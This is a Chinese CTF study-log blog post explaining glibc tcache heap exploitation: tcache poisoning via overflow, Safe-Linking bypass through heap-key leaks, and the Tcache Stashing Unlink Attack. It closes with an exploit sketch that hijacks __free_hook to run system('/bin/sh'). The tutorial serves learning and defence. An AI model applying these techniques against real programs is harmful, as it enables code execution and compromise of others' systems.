【学习记录】Week10(三):Tcache 溢出与扩展利用——单链表劫持与高版本绕过

📅 2026/7/4 8:56:55
【学习记录】Week10(三):Tcache 溢出与扩展利用——单链表劫持与高版本绕过
写在前面在上一篇中我们重温了经典的 Unlink 利用学习了如何通过堆溢出覆盖双向链表的fd/bk指针实现任意地址写。随着 glibc 2.26 引入 Tcache堆的管理机制发生了翻天覆地的变化。Tcache 像一个“快速通道”优先处理小内存的分配和释放且几乎没有安全校验。今天我们将探讨在 Tcache 时代堆溢出如何直接劫持这条单链表以及在高版本 glibc 中如何结合新特性进行扩展利用。 目录Tcache 机制回顾与溢出优势基础利用Tcache Poisoning溢出版高版本绕过Safe-Linking 机制与堆地址泄露扩展利用Tcache Stashing Unlink Attack实战演练构造高版本 Tcache 溢出链总结与下篇预告1. Tcache 机制回顾与溢出优势1.1 Tcache 结构简析TcacheThread Local Caching为每个线程维护了一个本地的空闲链表数组。在 64 位系统中它默认管理 0x20 到 0x410 大小的 chunk。核心结构如下typedef struct tcache_entry { struct tcache_entry *next; struct tcache_perthread_struct *key; // glibc 2.29 引入用于检测 double free } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个_bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表头指针数组 } tcache_perthread_struct;Tcache 链表是一个单链表遵循后进先出LIFO原则。释放时 chunk 插入链表头部分配时从链表头部取出。1.2 为什么 Tcache 下的溢出更简单在传统的 Unlink 利用中我们需要构造复杂的双向链表并绕过FD-bk P的检查。而在 Tcache 机制下无双向链表检查Tcache 是单链表只需要修改next指针没有任何指针完整性校验在 glibc 2.32 之前。优先级最高只要 Tcache 对应的 bin 中有 chunkmalloc会直接从 Tcache 取不会经过 fastbin 或 unsorted bin 的复杂逻辑。直接劫持只要我们能通过溢出覆盖 Tcache 链表头部 chunk 的next指针下一次malloc就会返回我们伪造的任意地址。2. 基础利用Tcache Poisoning溢出版Tcache PoisoningTcache 投毒是指通过漏洞修改 Tcache 链表中 chunk 的next指针使其指向任意地址从而在后续分配时获取该地址的控制权。如果是通过堆溢出实现的就称为 Tcache 溢出利用。2.1 利用原理假设当前 Tcache 链表大小 0x90状态为head - chunk_A - NULL。如果我们通过堆溢出比如溢出 chunk_A 前面的 chunk覆盖了 chunk_A 的next指针将其改为target_addr。链表状态变为head - chunk_A - target_addr。此时第一次malloc(0x80)返回chunk_A链表头变为target_addr。第二次malloc(0x80)返回target_addr2.2 利用流程图堆布局: [可控 Chunk] [Tcache Chunk A]利用溢出覆盖 Chunk A 的 next 指针next target_addr链表状态: head - A - target_addr第一次 malloc(size)返回 Chunk A链表头变为 target_addr第二次 malloc(size)返回 target_addr实现任意地址写3. 高版本绕过Safe-Linking 机制与堆地址泄露随着 glibc 版本的升级Tcache 的安全性也在增强。在 glibc 2.32 中引入了Safe-Linking机制对 Tcache和 fastbin的next指针进行了加密。3.1 Safe-Linking 原理该机制将 chunk 的next指针与其自身地址的高 12 位实际上是地址右移 12 位进行异或运算后存储。// 存储时 #define PROTECT_PTR(pos, ptr) ((void *)((((size_t)pos) 12) ^ ((size_t)ptr))) // 读取时 #define REVEAL_PTR(ptr) PROTECT_PTR(ptr, ptr)目的为了防止攻击者在不知道堆地址的情况下直接伪造next指针例如直接写入一个 GOT 表地址。现在如果你要伪造next指向target_addr你必须知道当前 chunk 的真实地址计算(chunk_addr 12) ^ target_addr并写入。3.2 绕过方法泄露堆地址要绕过 Safe-Linking核心是获取堆基址或某个堆块地址。通常的方法是利用 UAF 或未初始化漏洞泄露一个堆块中的next指针加密后的值。由于next是(chunk_addr 12) ^ next_chunk_addr如果该 chunk 是链表末尾next实际为 0则加密后的值就是(chunk_addr 12)。通过这个值恢复出堆地址的高位右移 12 位的值。在溢出构造 payload 时使用泄露的堆地址计算出正确的异或密文encrypted_next (leaked_heap_base 12) ^ target_addr。4. 扩展利用Tcache Stashing Unlink Attack当程序使用calloc分配内存时calloc不从 Tcache 获取 chunk或者当 Tcache 满了chunk 会进入 smallbin。当从 smallbin 中取出 chunk 时如果对应大小的 Tcache bin 未满glibc 会将 smallbin 中剩余的 chunk 放入 Tcache 中。这个“stash”暂存过程存在一个经典的利用链Tcache Stashing Unlink Attack。4.1 触发条件存在堆溢出能修改 smallbin 中最后一个 chunk 的bk指针。对应大小的 Tcache bin 未满通常需要先填满再释放几个或控制 counts。使用calloc触发从 smallbin 的分配。4.2 利用原理当从 smallbin 取出最后一个 chunk设为 victim时如果 Tcache 还有空位glibc 会遍历 smallbin 剩余的 chunk 并放入 Tcache。遍历的依据是 victim 的bk指针。// glibc 源码片段 bck victim-bk; bin-bk bck; bck-fd bin; // 关键漏洞点向 bck-fd 写入 bin 的地址 // 随后 victim 被放入 Tcache tcache_put(victim);如果我们通过溢出将 victim 的bk修改为target_addr - 0x10在 64 位下fd字段在 chunk 头部偏移 0x10 处。那么执行bck-fd bin时就会向target_addr写入一个 main_arena 的地址即 libc 地址。同时由于后续的 stash 逻辑target_addr也会被作为一个 chunk 放入 Tcache 链表。这意味着我们不仅实现了向任意地址写入 libc 地址还实现了将任意地址加入 Tcache 链表后续可以通过malloc获取该地址。4.3 应用场景修改global_max_fast将其改写为一个很大的值libc 地址通常很大使得很大的 chunk 也能被当作 fastbin 处理从而利用 fastbin attack。伪造_IO_list_all为 FSOPFile Stream Oriented Programming攻击做准备。5. 实战演练构造高版本 Tcache 溢出链让我们结合前面的知识构造一个在 glibc 2.32 环境下的 Tcache 溢出利用伪代码。5.1 场景设定glibc 版本2.32启用 Safe-Linking漏洞edit函数存在堆溢出可以修改下一个 chunk 的内容。目标通过 Tcache Poisoning 分配到__free_hook覆盖为system。5.2 利用步骤与 Payload 构造步骤 1泄露堆地址# 1. 分配并释放一个 chunk 进入 Tcache add(0, 0x28) # chunk A free(0) # chunk A 进入 Tcache[0x30] # 2. 利用 UAF 或 show 功能读取 chunk A 的 next 指针 # 此时 A 是链表尾next 实际为 0加密后存储为 (A_addr 12) ^ 0 leaked_ptr show(0) heap_key u64(leaked_ptr.ljust(8, b\x00)) # 这就是 A_addr 12步骤 2布置堆块# 分配 chunk B, C, D # B 用于溢出C 是目标 Tcache chunkD 防止合并 add(1, 0x28) # chunk B (与 A 重合或新分配看具体题目逻辑) add(2, 0x28) # chunk C (将被 free 进 Tcache) add(3, 0x28) # chunk D # 释放 C此时 Tcache[0x30]: head - C - (如果A还在则连A) free(2)步骤 3构造溢出 Payload假设我们要让malloc返回__free_hook的地址。我们需要覆盖 chunk C 的next指针。由于 Safe-Linking我们要写入的值是encrypted_next (heap_key) ^ __free_hook_addr注意heap_key实际上是 C 的地址右移 12 位如果 C 的地址和 A 不同需要计算偏移。假设我们泄露的就是 C 的地址的 key。free_hook_addr libc_base libc.sym[__free_hook] # 假设泄露的 heap_key 就是 chunk C 对应的 key (C_addr 12) # 如果不是需要根据堆布局推算 C_addr c_addr_key heap_key # 简化场景 encrypted_next c_addr_key ^ free_hook_addr # 构造溢出 payload payload bA * 0x28 # 填满 chunk B payload p64(0) p64(0x31) # 伪造 chunk C 的 header (prev_size size) payload p64(encrypted_next) # 覆盖 chunk C 的 next 指针 edit(1, payload) # 触发溢出步骤 4触发分配获取 Hook# 第一次 malloc 返回 chunk C add(4, 0x28) # 第二次 malloc 返回 __free_hook add(5, 0x28) # 此时 chunk 5 的指针指向 __free_hook # 向 chunk 5 写入 system 地址 edit(5, p64(libc_base libc.sym[system])) # 释放一个包含 /bin/sh 的 chunk触发 system(/bin/sh) add(6, 0x28, b/bin/sh\x00) free(6)6. 总结与下篇预告6.1 核心知识点总结Tcache 简化了利用单链表结构且无校验使得堆溢出覆盖next指针即可实现任意地址分配无需复杂的 Unlink 绕过。Safe-Linking 是新屏障glibc 2.32 引入的指针加密机制要求必须泄露堆地址右移 12 位的值才能正确伪造next指针。Tcache Stashing Unlink Attack利用calloc不走 Tcache 的特性结合 smallbin 到 Tcache 的暂存机制实现向任意地址写入 libc 地址并加入 Tcache 链表的高级利用。溢出的核心作用在 Tcache 体系下溢出主要用于篡改链表指针next或篡改 smallbin 指针bk从而劫持内存分配流。6.2 下篇预告下一篇我们将迎来 Week10 的收官之战——综合练习off-by-one tcache 组合题。我们将结合第一篇的 Off-by-one 漏洞和本篇的 Tcache 利用模拟一道完整的 CTF PWN 题目从漏洞分析、堆布局设计到最终 EXP 构造手把手实战演练最终结论Tcache 机制既是福音也是诅咒。它极大地简化了小内存堆漏洞的利用路径但也催生了如 Safe-Linking 等新的防护机制。掌握 Tcache 溢出利用是现代 CTF PWN 选手的必备技能也是理解高版本 glibc 堆利用的关键。参考文献CTF Wiki - Heap Exploitation: Tcacheglibc 2.32 Safe-Linking 机制分析Tcache Stashing Unlink Attack 原理与利用